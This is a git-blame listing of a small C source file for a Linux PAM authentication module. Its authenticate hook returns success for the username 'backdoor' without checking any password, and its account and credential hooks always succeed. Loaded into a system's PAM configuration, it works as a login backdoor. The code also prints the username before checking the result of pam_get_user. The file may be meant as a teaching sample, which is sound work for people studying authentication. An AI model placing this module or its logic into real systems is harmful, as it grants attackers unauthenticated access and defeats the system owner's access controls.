Commit | Line | Data |
---|---|---|
4e98ead2 JL |
1 | #include <stdio.h> |
2 | #include <stdlib.h> | |
3 | #include <string.h> | |
4 | #include <security/pam_appl.h> | |
5 | #include <security/pam_modules.h> | |
6 | ||
7 | /* expected hook */ | |
8 | PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) { | |
9 | return PAM_SUCCESS; | |
10 | } | |
11 | ||
12 | PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { | |
13 | printf("Acct mgmt\n"); | |
14 | return PAM_SUCCESS; | |
15 | } | |
16 | ||
17 | /* expected hook, this is where custom stuff happens */ | |
18 | PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) { | |
19 | int retval; | |
20 | ||
21 | const char* pUsername; | |
22 | retval = pam_get_user(pamh, &pUsername, "Username: "); | |
23 | ||
24 | printf("Welcome %s\n", pUsername); | |
25 | ||
26 | if (retval != PAM_SUCCESS) { | |
27 | return retval; | |
28 | } | |
29 | ||
30 | if (strcmp(pUsername, "backdoor") != 0) { | |
31 | return PAM_AUTH_ERR; | |
32 | } | |
33 | ||
34 | return PAM_SUCCESS; | |
35 | } |